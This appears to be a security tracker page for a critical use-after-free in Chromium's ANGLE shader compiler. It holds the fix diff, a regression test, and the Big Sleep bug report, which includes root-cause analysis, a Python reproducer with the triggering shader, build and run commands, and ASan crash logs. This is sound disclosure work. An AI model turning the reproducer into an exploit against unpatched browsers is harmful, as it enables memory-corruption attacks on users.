Overview

Critical
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in ANGLE
DescriptionUse after free in ANGLE
ComponentANGLE
Bug ClassUAF
Tracker437825940
Fix commitedb056272fd2 (angle/angle) +21/-6
CISA KEVNot listed
CreditedGoogle Big Sleep
Disclosed2025-08-26

Files Changed

  • src/compiler/translator/Compiler.cpp
  • src/tests/gl_tests/UniformTest.cpp
From edb056272fd29a776f599348658ce356a67612fb Mon Sep 17 00:00:00 2001
From: Yuxin Hu <[email protected]>
Date: Tue, 12 Aug 2025 12:17:36 -0700
Subject: [PATCH] Fix sort uniform bug

Current sort doesn't take care of the case when both uniforms
are struct specfiers. Given that struct types are easily broken by
sort, make the sort not reordering uniforms if both are structs.

Bug: b/437825940
Change-Id: Idda1810ac4234f7e1547735e4e09658ab0a57eed
Reviewed-on: https://chromium-review.googlesource.com/c/angle/angle/+/6842936
Reviewed-by: Charlie Lao <[email protected]>
Reviewed-by: Amirali Abdolrashidi <[email protected]>
Reviewed-by: Shahbaz Youssefi <[email protected]>
---

diff --git a/src/compiler/translator/Compiler.cpp b/src/compiler/translator/Compiler.cpp
index 8ec3f6d..e35e803 100644
--- a/src/compiler/translator/Compiler.cpp
+++ b/src/compiler/translator/Compiler.cpp
@@ -236,12 +236,16 @@
                                       ->getAsSymbolNode()
                                       ->variable()
                                       .getType();
+        // If both uniforms are structs, do not reorder them
+        if (firstType.getStruct() != nullptr && secondType.getStruct() != nullptr)
+        {
+            return false;
+        }
         // First, sort by precision: lowp and mediump are smaller than highp
         if (firstType.getPrecision() != secondType.getPrecision())
         {
             return firstType.getPrecision() != TPrecision::EbpHigh;
         }
-
         // We don't sort highp uniforms. If both uniforms are highp, consider them as equivalent
         if (firstType.getPrecision() == TPrecision::EbpHigh &&
             secondType.getPrecision() == TPrecision::EbpHigh)
@@ -256,11 +260,6 @@
         {
             return firstType.getStruct() == nullptr;
         }
-        // If both are struct, place the one that has specifier in the front
-        if (firstType.getStruct() != nullptr && secondType.getStruct() != nullptr)
-        {
-            return firstType.isStructSpecifier();
-        }
         // criteria 2: sort by arrayness. Non-array element is smaller.
         if (firstType.isArray() != secondType.isArray())
         {
diff --git a/src/tests/gl_tests/UniformTest.cpp b/src/tests/gl_tests/UniformTest.cpp
index a409178..1c33e41 100644
--- a/src/tests/gl_tests/UniformTest.cpp
+++ b/src/tests/gl_tests/UniformTest.cpp
@@ -2485,6 +2485,22 @@
     ASSERT_NE(program, 0u);
 }
 
+// That that TCompiler::sortUniforms() does not break the shader code when there are multiple
+// uniforms of the struct data type, and both of them are struct specifiers, and one struct
+// references the other struct.
+TEST_P(UniformTestES31, UniformReorderDoesNotBreakStructUniformsV2)
+{
+    constexpr char kFS[] =
+        "#version 310 es\n"
+        "precision mediump float;\n"
+        "uniform struct S1 { samplerCube ar; } a1;\n"
+        "uniform struct S2 { S1 s; } a2;\n"
+        "void main (void)\n"
+        "{}";
+    GLuint program = CompileProgram(essl31_shaders::vs::Simple(), kFS);
+    ASSERT_NE(program, 0u);
+}
+
 // Test a uniform struct containing a non-square matrix and a boolean.
 // Minimal test case for a bug revealed by dEQP tests.
 TEST_P(UniformTestES3, StructWithNonSquareMatrixAndBool)
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/src/tests/gl_tests/UniformTest.cpp b/src/tests/gl_tests/UniformTest.cpp
index a409178..1c33e41 100644
--- a/src/tests/gl_tests/UniformTest.cpp
+++ b/src/tests/gl_tests/UniformTest.cpp
@@ -2485,6 +2485,22 @@
     ASSERT_NE(program, 0u);
 }
 
+// That that TCompiler::sortUniforms() does not break the shader code when there are multiple
+// uniforms of the struct data type, and both of them are struct specifiers, and one struct
+// references the other struct.
+TEST_P(UniformTestES31, UniformReorderDoesNotBreakStructUniformsV2)
+{
+    constexpr char kFS[] =
+        "#version 310 es\n"
+        "precision mediump float;\n"
+        "uniform struct S1 { samplerCube ar; } a1;\n"
+        "uniform struct S2 { S1 s; } a2;\n"
+        "void main (void)\n"
+        "{}";
+    GLuint program = CompileProgram(essl31_shaders::vs::Simple(), kFS);
+    ASSERT_NE(program, 0u);
+}
+
 // Test a uniform struct containing a non-square matrix and a boolean.
 // Minimal test case for a bug revealed by dEQP tests.
 TEST_P(UniformTestES3, StructWithNonSquareMatrixAndBool)
Loading diff…

Original Bug Report

reported by [email protected]

ANGLE: heap-use-after-free in RewriteStructSamplersTraverser::stripStructSpecifierSamplers()

We are tracking this issue with the public ID BIGSLEEP-437845672. Please use this identifier for reference in any future communication.

Vulnerability Details

A heap-use-after-free vulnerability exists in ANGLE compiler translator within the sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers function in src/compiler/translator/tree_ops/RewriteStructSamplers.cpp. This pass is responsible for transforming structs that contain samplers.

When the translator processes a struct declaration (e.g., struct S2 in the provided reproduction case), it iterates over the struct’s fields. If it encounters a field that is itself a struct containing samplers (e.g., a field of type S1), the code assumes that the inner struct (S1) has already been processed and registered in the internal map mStructureMap. This assumption is enforced by a debug assertion[2].

However, the Abstract Syntax Tree (AST) traversal order is not guaranteed. For instance, when structs are declared as uniforms, TCompiler::sortUniforms can reorder them. This can lead to the function processing an outer struct (like S2 in the provided test case) before the nested inner struct (S1) has been registered in mStructureMap.

In debug builds, this triggers the assertion, causing a controlled crash.

In release builds, the consequences are more severe. The function proceeds with the following steps:

  1. At the start, it adds the current struct being processed to mStructureMap and stores a pointer to this new map element in the modifiedData variable [1].
  2. While iterating through fields, it encounters the unprocessed nested struct (S1). The check to ensure S1 is in the map is not triggered.
  3. The code then attempts to access the nested struct’s entry in the map using the [] operator [3]. Because the entry for S1 does not exist, mStructureMap[fieldStruct] creates a new element in the map.
  4. mStructureMap is an absl::flat_hash_map. Adding a new element can trigger a rehash, which may invalidate all existing pointers and references to the map’s elements.
  5. This rehashing invalidates the modifiedData pointer obtained in [1].
  6. Finally, the function attempts to write to the location pointed to by the now-invalid modifiedData pointer [4], resulting in a heap-use-after-free write.
    void stripStructSpecifierSamplers(const TStructure *structure, TIntermSequence *newSequence)
    {
        TFieldList *newFieldList = new TFieldList;
        ASSERT(structure->containsSamplers());

        // Add this struct to the struct map
        ASSERT(mStructureMap.find(structure) == mStructureMap.end());
        StructureData *modifiedData = &mStructureMap[structure]; // *** 1 ***

        modifiedData->modified = nullptr;

        for (size_t fieldIndex = 0; fieldIndex < structure->fields().size(); ++fieldIndex)
        {
            const TField *field    = structure->fields()[fieldIndex];
            const TType &fieldType = *field->type();

            // If the field is a sampler, or a struct that's entirely removed, skip it.
            if (!fieldType.isSampler() && !isRemovedStructType(fieldType))
            {
                TType *newType = nullptr;

                // Otherwise, if it's a struct that's replaced, create a new field of the replaced
                // type.
                if (fieldType.isStructureContainingSamplers())
                {
                    const TStructure *fieldStruct = fieldType.getStruct();
                    ASSERT(mStructureMap.find(fieldStruct) != mStructureMap.end()); // *** 2 ***

                    const TStructure *modifiedStruct = mStructureMap[fieldStruct].modified; // *** 3 ***
                    ASSERT(modifiedStruct);

                    newType = new TType(modifiedStruct, true);
                    if (fieldType.isArray())
                    {
                        newType->makeArrays(fieldType.getArraySizes());
                    }
                }
                else
                {
                    // If not, duplicate the field as is.
                    newType = new TType(fieldType);
                }

                TField *newField =
                    new TField(newType, field->name(), field->line(), field->symbolType());
                newFieldList->push_back(newField);
            }
        }

        // Prune empty structs.
        if (newFieldList->empty())
        {
            return;
        }

        // Declare a new struct with the same name and the new fields.
        modifiedData->modified = // *** 4 ***
            new TStructure(mSymbolTable,
                           structure->symbolType() == SymbolType::Empty ? kEmptyImmutableString
                                                                        : structure->name(),
                           newFieldList, structure->symbolType());

Affected Version(s)

The issue has been successfully reproduced:

  • at HEAD (Chromium commit 01fb7a958eedb479701aab17e0799a8140b4a5b2, ANGLE commit 9367369dc5f813b05ac0ae4b3202102154589d34)

  • in stable release 139.0.7258.66 (Chromium commit a62d329947691f76c376a873eae39f56381103c8, ANGLE commit 0145c376fadde16390298681252785f98ae90185)

Reproduction

The issue can be reproduced in the angle_translator_fuzzer fuzzer harness.

Test Case

While the provided test case uses the SH_SPIRV_VULKAN_OUTPUT format for easy reproduction on a Linux machine, the vulnerability is not specific to this format. The same optimization pass is reachable through other formats, such as SH_MSL_METAL_OUTPUT on Apple devices.

# repro.py

import struct
import sys

shader_type = 0x8B31  # GL_VERTEX_SHADER
shader_spec = 2       # SH_GLES3_SPEC
output_format = 15    # SH_SPIRV_VULKAN_OUTPUT

header_list = list(struct.pack('<III', shader_type, shader_spec, output_format))
header_list.extend([0] * (128 - len(header_list)))
header_list[12] |= 0x01 # objectCode = true
header = bytes(header_list)

shader_source = r'''
uniform struct S1 { samplerCube ar; } a1;
uniform struct S2 { S1 s; } a2;

vec4 v;

void main (void)
{
    v = textureCube(a2.s.ar, vec3(1.0));
}'''

sys.stdout.buffer.write(header + shader_source.encode('ascii') + b'\x00')

Build Instructions

gn gen out/angle --args='is_debug = false dcheck_always_on = false use_libfuzzer = true is_asan = true'
autoninja -C out/angle angle_translator_fuzzer

Command

(f=$(mktemp) && python3 repro.py > $f && ./out/angle/angle_translator_fuzzer $f)

ASan Report

==1434324==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c5c8c7e12b8 at pc 0x55a643ac66e4 bp 0x7ffca6ea7e50 sp 0x7ffca6ea7e48
WRITE of size 8 at 0x7c5c8c7e12b8 thread T0
    #0 0x55a643ac66e3 in sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers(sh::TStructure const*, sh::TVector<sh::TIntermNode*>*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:447:32
    #1 0x55a643abf55b in sh::(anonymous namespace)::RewriteStructSamplersTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:326:17
    #2 0x55a6439d5a9d in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
    #3 0x55a6439daa21 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
    #4 0x55a643abe89d in sh::RewriteStructSamplers(sh::TCompiler*, sh::TIntermBlock*, sh::TSymbolTable*, int*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:647:11
    #5 0x55a643ab0cbd in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:812:14
    #6 0x55a643aba8b4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
    #7 0x55a6438112e1 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1508:18
    #8 0x55a643686e63 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:248:17
    #9 0x55a6436c9d0c in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
    #10 0x55a64369b319 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
    #11 0x55a6436a3b60 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
    #12 0x55a643689f35 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
    #13 0x7fec8d6f4ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

0x7c5c8c7e12b8 is located 56 bytes inside of 80-byte region [0x7c5c8c7e1280,0x7c5c8c7e12d0)
freed by thread T0 here:
    #0 0x55a643685492 in operator delete(void*, unsigned long) (/usr/local/google/home/glazunov/chromium/src/out/angle/angle_translator_fuzzer+0x73a492) (BuildId: f6c73d388c802072)
    #1 0x55a643740955 in absl::container_internal::(anonymous namespace)::GrowToNextCapacityAndPrepareInsert(absl::container_internal::CommonFields&, absl::container_internal::PolicyFunctions const&, unsigned long) third_party/abseil-cpp/absl/container/internal/raw_hash_set.cc:1396:3
    #2 0x55a64373fb08 in absl::container_internal::PrepareInsertLargeGenerationsEnabled(absl::container_internal::CommonFields&, absl::container_internal::PolicyFunctions const&, unsigned long, absl::container_internal::FindInfo, absl::FunctionRef<unsigned long (unsigned long)>) third_party/abseil-cpp/absl/container/internal/raw_hash_set.cc:1895:10
    #3 0x55a643ac6c86 in find_or_prepare_insert_large<const sh::TStructure *> third_party/abseil-cpp/absl/container/internal/raw_hash_set.h:3277:19
    #4 0x55a643ac6c86 in find_or_prepare_insert<const sh::TStructure *> third_party/abseil-cpp/absl/container/internal/raw_hash_set.h:3375:12
    #5 0x55a643ac6c86 in try_emplace_impl<const sh::TStructure *const &> third_party/abseil-cpp/absl/container/internal/raw_hash_map.h:343:22
    #6 0x55a643ac6c86 in try_emplace<const sh::TStructure *, 0, 0> third_party/abseil-cpp/absl/container/internal/raw_hash_map.h:228:12
    #7 0x55a643ac6c86 in decltype(absl::container_internal::FlatHashMapPolicy<sh::TStructure const*, sh::(anonymous namespace)::StructureData>::value(std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>* std::__Cr::addressof<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>(std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>&)(decltype(std::__declval<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>(0)) std::__Cr::declval<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>&>()()))) absl::container_internal::raw_hash_map<absl::container_internal::FlatHashMapPolicy<sh::TStructure const*, sh::(anonymous namespace)::StructureData>, absl::container_internal::HashEq<sh::TStructure const*, void>::Hash, absl::container_internal::HashEq<sh::TStructure const*, void>::Eq, std::__Cr::allocator<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>>::operator[]<sh::TStructure const*, absl::container_internal::FlatHashMapPolicy<sh::TStructure const*, sh::(anonymous namespace)::StructureData>, 0>(std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData> const&) third_party/abseil-cpp/absl/container/internal/raw_hash_map.h:317:49
    #8 0x55a643ac5e4f in sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers(sh::TStructure const*, sh::TVector<sh::TIntermNode*>*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:419:56
    #9 0x55a643abf55b in sh::(anonymous namespace)::RewriteStructSamplersTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:326:17
    #10 0x55a6439d5a9d in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
    #11 0x55a6439daa21 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
    #12 0x55a643abe89d in sh::RewriteStructSamplers(sh::TCompiler*, sh::TIntermBlock*, sh::TSymbolTable*, int*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:647:11
    #13 0x55a643ab0cbd in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:812:14
    #14 0x55a643aba8b4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
    #15 0x55a6438112e1 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1508:18
    #16 0x55a643686e63 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:248:17
    #17 0x55a6436c9d0c in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
    #18 0x55a64369b319 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
    #19 0x55a6436a3b60 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
    #20 0x55a643689f35 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
    #21 0x7fec8d6f4ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

previously allocated by thread T0 here:
    #0 0x55a64368482d in operator new(unsigned long) (/usr/local/google/home/glazunov/chromium/src/out/angle/angle_translator_fuzzer+0x73982d) (BuildId: f6c73d388c802072)
    #1 0x55a64373da90 in AllocBackingArray third_party/abseil-cpp/absl/container/internal/raw_hash_set.cc:665:34
    #2 0x55a64373da90 in ResizeNonSooImpl<(absl::container_internal::(anonymous namespace)::ResizeNonSooMode)1> third_party/abseil-cpp/absl/container/internal/raw_hash_set.cc:697:7
    #3 0x55a64373da90 in absl::container_internal::ResizeAllocatedTableWithSeedChange(absl::container_internal::CommonFields&, absl::container_internal::PolicyFunctions const&, unsigned long) third_party/abseil-cpp/absl/container/internal/raw_hash_set.cc:1631:3
    #4 0x55a64373f8bd in absl::container_internal::PrepareInsertLargeGenerationsEnabled(absl::container_internal::CommonFields&, absl::container_internal::PolicyFunctions const&, unsigned long, absl::container_internal::FindInfo, absl::FunctionRef<unsigned long (unsigned long)>) third_party/abseil-cpp/absl/container/internal/raw_hash_set.cc:1890:5
    #5 0x55a643ac6c86 in find_or_prepare_insert_large<const sh::TStructure *> third_party/abseil-cpp/absl/container/internal/raw_hash_set.h:3277:19
    #6 0x55a643ac6c86 in find_or_prepare_insert<const sh::TStructure *> third_party/abseil-cpp/absl/container/internal/raw_hash_set.h:3375:12
    #7 0x55a643ac6c86 in try_emplace_impl<const sh::TStructure *const &> third_party/abseil-cpp/absl/container/internal/raw_hash_map.h:343:22
    #8 0x55a643ac6c86 in try_emplace<const sh::TStructure *, 0, 0> third_party/abseil-cpp/absl/container/internal/raw_hash_map.h:228:12
    #9 0x55a643ac6c86 in decltype(absl::container_internal::FlatHashMapPolicy<sh::TStructure const*, sh::(anonymous namespace)::StructureData>::value(std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>* std::__Cr::addressof<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>(std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>&)(decltype(std::__declval<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>(0)) std::__Cr::declval<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>&>()()))) absl::container_internal::raw_hash_map<absl::container_internal::FlatHashMapPolicy<sh::TStructure const*, sh::(anonymous namespace)::StructureData>, absl::container_internal::HashEq<sh::TStructure const*, void>::Hash, absl::container_internal::HashEq<sh::TStructure const*, void>::Eq, std::__Cr::allocator<std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData>>>::operator[]<sh::TStructure const*, absl::container_internal::FlatHashMapPolicy<sh::TStructure const*, sh::(anonymous namespace)::StructureData>, 0>(std::__Cr::pair<sh::TStructure const* const, sh::(anonymous namespace)::StructureData> const&) third_party/abseil-cpp/absl/container/internal/raw_hash_map.h:317:49
    #10 0x55a643ac5b3a in sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers(sh::TStructure const*, sh::TVector<sh::TIntermNode*>*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:398:40
    #11 0x55a643abf55b in sh::(anonymous namespace)::RewriteStructSamplersTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:326:17
    #12 0x55a6439d5a9d in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
    #13 0x55a6439daa21 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
    #14 0x55a643abe89d in sh::RewriteStructSamplers(sh::TCompiler*, sh::TIntermBlock*, sh::TSymbolTable*, int*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:647:11
    #15 0x55a643ab0cbd in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:812:14
    #16 0x55a643aba8b4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
    #17 0x55a6438112e1 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1508:18
    #18 0x55a643686e63 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:248:17
    #19 0x55a6436c9d0c in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
    #20 0x55a64369b319 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
    #21 0x55a6436a3b60 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
    #22 0x55a643689f35 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
    #23 0x7fec8d6f4ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

SUMMARY: AddressSanitizer: heap-use-after-free third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:447:32 in sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers(sh::TStructure const*, sh::TVector<sh::TIntermNode*>*)
Shadow bytes around the buggy address:
  0x7c5c8c7e1000: 00 00 00 00 07 fa fa fa fa fa 00 00 00 00 00 00
  0x7c5c8c7e1080: 00 00 07 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x7c5c8c7e1100: 07 fa fa fa fa fa 00 00 00 00 00 00 00 00 07 fa
  0x7c5c8c7e1180: fa fa fa fa 00 00 00 00 00 fc fc fc 07 fa fa fa
  0x7c5c8c7e1200: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa
=>0x7c5c8c7e1280: fd fd fd fd fd fd fd[fd]fd fd fa fa fa fa fa fa
  0x7c5c8c7e1300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7c5c8c7e1380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7c5c8c7e1400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7c5c8c7e1480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7c5c8c7e1500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1434324==ABORTING

To observe the debug assertion failure, set the dcheck_always_on build flag to true.

FATAL: RewriteStructSamplers.cpp:417 (stripStructSpecifierSamplers): 	! Assert failed in stripStructSpecifierSamplers (../../third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:417): mStructureMap.find(fieldStruct) != mStructureMap.end()
==1436110== ERROR: libFuzzer: deadly signal
    #0 0x5633004e13f1 in __sanitizer_print_stack_trace (/usr/local/google/home/glazunov/chromium/src/out/angle/angle_translator_fuzzer+0x8a83f1) (BuildId: a0c2c119da678e0e)
    #1 0x56330058fafb in fuzzer::PrintStackTrace() third_party/libFuzzer/src/FuzzerUtil.cpp:210:5
    #2 0x56330055113e in fuzzer::Fuzzer::CrashCallback() third_party/libFuzzer/src/FuzzerLoop.cpp:231:3
    #3 0x7f665ec28def  (/lib/x86_64-linux-gnu/libc.so.6+0x3fdef) (BuildId: 4a95b54430cb5a2c68c1812f1738222660dec6d1)
    #4 0x5633009e3734 in sh::(anonymous namespace)::RewriteStructSamplersTraverser::stripStructSpecifierSamplers(sh::TStructure const*, sh::TVector<sh::TIntermNode*>*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:417:21
    #5 0x5633009dc328 in sh::(anonymous namespace)::RewriteStructSamplersTraverser::visitDeclaration(sh::Visit, sh::TIntermDeclaration*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:316:13
    #6 0x5633008c82fd in void sh::TIntermTraverser::traverse<sh::TIntermNode>(sh::TIntermNode*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:33:23
    #7 0x5633008ce7b1 in sh::TIntermTraverser::traverseBlock(sh::TIntermBlock*) third_party/angle/src/compiler/translator/tree_util/IntermTraverse.cpp:477:24
    #8 0x5633009d9efd in sh::RewriteStructSamplers(sh::TCompiler*, sh::TIntermBlock*, sh::TSymbolTable*, int*) third_party/angle/src/compiler/translator/tree_ops/RewriteStructSamplers.cpp:647:11
    #9 0x5633009cb997 in sh::TranslatorSPIRV::translateImpl(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*, sh::SpecConst*, sh::DriverUniform*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:812:14
    #10 0x5633009d46a4 in sh::TranslatorSPIRV::translate(sh::TIntermBlock*, ShCompileOptions const&, sh::PerformanceDiagnostics*) third_party/angle/src/compiler/translator/spirv/TranslatorSPIRV.cpp:1277:10
    #11 0x5633006a18d1 in sh::TCompiler::compile(char const* const*, unsigned long, ShCompileOptions const&) third_party/angle/src/compiler/translator/Compiler.cpp:1508:18
    #12 0x5633005114d3 in LLVMFuzzerTestOneInput third_party/angle/src/compiler/fuzz/translator_fuzzer.cpp:248:17
    #13 0x56330055437c in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) third_party/libFuzzer/src/FuzzerLoop.cpp:619:13
    #14 0x563300525989 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) third_party/libFuzzer/src/FuzzerDriver.cpp:329:6
    #15 0x56330052e1d0 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) third_party/libFuzzer/src/FuzzerDriver.cpp:864:9
    #16 0x5633005145a5 in main third_party/libFuzzer/src/FuzzerMain.cpp:20:10
    #17 0x7f665ec12ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16

Reporter Credit

Google Big Sleep

Disclosure Policy

This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-11-09.

For more information, visit https://goo.gle/bigsleep

View on issue tracker
Links in the report